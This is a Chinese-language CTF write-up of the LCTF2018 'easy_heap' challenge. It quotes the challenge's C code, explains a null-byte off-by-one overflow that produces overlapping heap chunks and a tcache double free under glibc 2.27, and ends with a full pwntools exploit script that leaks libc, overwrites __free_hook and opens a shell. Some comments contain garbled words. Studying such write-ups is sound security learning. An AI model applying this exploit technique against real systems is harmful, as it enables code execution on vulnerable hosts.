LCTF2018-easy-heap

1
2
3
4
5
6
7
8
9
10
void menu()
{
puts("------------------------");
puts("1: malloc. ");
puts("2: free. ");
puts("3: puts. ");
puts("4: exit. ");
puts("------------------------");
printf("which command?\n> ");
}

point at

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void safe_read (char *pt1,unsigned int size)
{
int i=0;
if(size==0)
{
pt1[0]='\0';
return;
}
while(1)
{
read(0,&pt1[i],1);
if(i>size-1 || pt1[i]=='\0' || pt1[i]=='\n')
break;
i+=1;
}
pt1[i]='\0';
pt1[size]='\0';
}

显然易见的可以读size+1个字符,但最后一个字符只能是\x00, 所以这里是null by off,溢出NULL字符,改变nextchunk的sizeprev_inuse标志位,nextchunk的size 一般都应该在0xppppp00左右,即16进制下后两位为零,而且至少chunksize>=0x100。这道题的输入还有一个特点,不能输入\x00字符。先看一下这道题的分配chunk的特点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void malloc_1()
{
int i;
unsigned int size;
for (i=0;i<=9;i++)
{
if ( tk->kele[i].pt1==NULL)
break;
else continue;
}
if (i==10)
{
puts("full!");
return;
}
tk->kele[i].pt1=(char *)malloc(0xf8);
if (tk->kele[i].pt1==NULL)
{
puts("malloc error!");
bye_bye();
}
printf("size \n> ");
size=get_atoi();
if(size>0xf8)
bye_bye();
tk->kele[i].size=size;
printf("content \n> ");
safe_read(tk->kele[i].pt1,tk->kele[i].size);
}

可以看到是固定分配0xf80x100,也恰好符合上面约束规则,其他删除和dump函数也没有其他的可利用的点,现在需要思考我们能拿这个溢出的NULL做点什么?先看下面这种情况。 图1

NULL字符覆盖B的prev_inuse位之后,在free的阶段会向后合并,造成Achunk的堆空间重叠,再思考即使设置了prev_inuse为零以外,还需要设置prev_size.即这里需要指定prev_size为0x200.但是前面说过这里是无法输入\x00字符的,这里我们需要如何弄一个0x200出来呢?不能手动输入,那就让自己合并呗。

1
2
3
4
5
6
7
8
9
10
11
12
13
A = malloc(0xf8);
B = malloc(0xf8);
C = malloc(0xf8);
malloc(0xf8); //防止和top_chunk合并
free(A);
free(B);
free(C);/*这里为什么还有freeC呢,因为unsortbin被遍历放到smallbins里面,通过bitmap再拿到之后,会进行分割,会对分割剩下的chunk,设置foot,即reminder_size。这个时候,如果不freeC,这里的0x200会变成0x100,前面做的就白费了*/
//这里就在C的chunk的结构上设置好了0x200
A = malloc(0xf8);
B = malloc(0xf8); // 根据题目条件这里是通过这种输入的size来控制溢出。所以这里我们不会把0x200再覆盖掉。
(char *)B[16] = 0;
C = malloc(0xf8);
free(C)

这里因为chunk重叠,重叠精髓在于,我们有可能可以得到这个chunk的两个指针引用,相互影响将会产生magic。两个指针引用的利用,最常见的是在double free里面,这里有没有可能进行double free呢?

现在再来看libc的版本,libc版本为2.27,这个版本的libc是带tcache机制的,所以以上的操作我们必须得在tcache相应的bin被填满以后才能进行。

如果我把这两个指针都通过free放到tcache里面呢?下面看一下tcache_get

1
2
3
4
5
6
7
8
9
10
11
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

这里比fastbin的安全性检查都不如,没有检查e->next的合法性,直接用就行了。直接把fastbin里面的double free那一套放上去就行,利用double_free 使next指向_free_malloc就行,然后二次malloc double_free的chunk时候,把/bin/sh\x00写进去,__free_malloc指向system就行。

下面看具体的操作。直接把exploit列出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./easy_heap')

def cmd(idx):
p.recvuntil('>')
p.sendline(str(idx))

def new(size, content):
cmd(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)

def delete(idx):
cmd(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))

def show(idx):
cmd(3)
p.recvuntil('> ')
p.sendline(str(idx))
return p.recvline()[:-1]

def main():
# Your exploit script goes here

# step 1: get three unsortedbin chunks
# note that to avoid top consolidation, we need to arrange them like:
# tcache * 6 -> unsortd * 3 -> tcache
# 内存布局把tache填满,且最后一个tache为最后一个内存块,防止中间的3个unsortbin和top_chunk合并。
for i in range(7):
new(0x10, str(i) + ' - tcache')

for i in range(3):
new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks

# arrange:
for i in range(6):
delete(i)
delete(9)
for i in range(6, 9):
delete(i)

# step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
#分割经过合并大的unsorted_chunk 得到三个需要的unsorted_chunk,这个时候0x200的prev_size已经被写到中
# 间的unsorted_chunk了.
for i in range(7):
new(0x10, str(i) + ' - tcache')

# rearrange to take second unsorted bin into tcache chunk, but leave first
# unsorted bin unchanged
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
# 释放掉6个到tcache里面,最后一个留个中间那个unsorted_chunk,因为一会需要直接拿出覆盖写。

for i in range(6):
delete(i)
# move second into tcache
delete(8)
# delete first to provide valid fd & bk
# 为什么这里需要把这个unsortbin也释放掉呢?好问题,这里是因为在后面向后扩展的unlink中有一处验证
# if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 把这个验证绕过了。
delete(7)

#直接从tcache里面拿出来写,覆盖第三个unsorted_chunk的perv_inuse的标志位
new(0xf8, '0 - overflow')
# fill up tcache
#填满tacache
delete(6)

# trigger
#触发向后合并。并把这个fake_chunk放到unsortbin里面
delete(9)

# step 3: leak, fill up
#还是先把tache全部取出来
for i in range(7):
new(0x10, str(i) + ' - tcache')
# 遍历到大的unsorted_chunk,分割之后,中间的unsorted_chunk fd指向unsortbin,泄露libc的地址。
new(0x10, '8 - fillup')

libc_leak = u64(show(0).strip().ljust(8, '\x00'))
p.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_leak - 0x3ebca0

# step 4: constrecvuntilct UAF, write into __free_hook
# 得到第二个中间unsorted_chunk的指针
new(0x10, '9 - next')
# these two provides sendlineots for tcache
delete(1)
delete(2)
# 相同的两个指针,double free
delete(0)
delete(9)
# 执行__free_hook,比伪造fastbin的chunk都简单,直接任意地址写。
new(0x10, p64(libc.symbols['__free_hook'])) # 0
new(0x10, '/bin/sh\x00into target') # 1
one_gadget = libc.address + 0x4f322
new(0x10, p64(one_gadget))

# system("/bin/sh\x00")
delete(1)

p.interactive()

if __name__ == '__main__':
main()

这道题是比较经典的,null字符溢出到overlapping chunk,chunk重叠得到两个相同chunk地址的指针引用,再配合tcache里面double_free任意地址写。Amazing!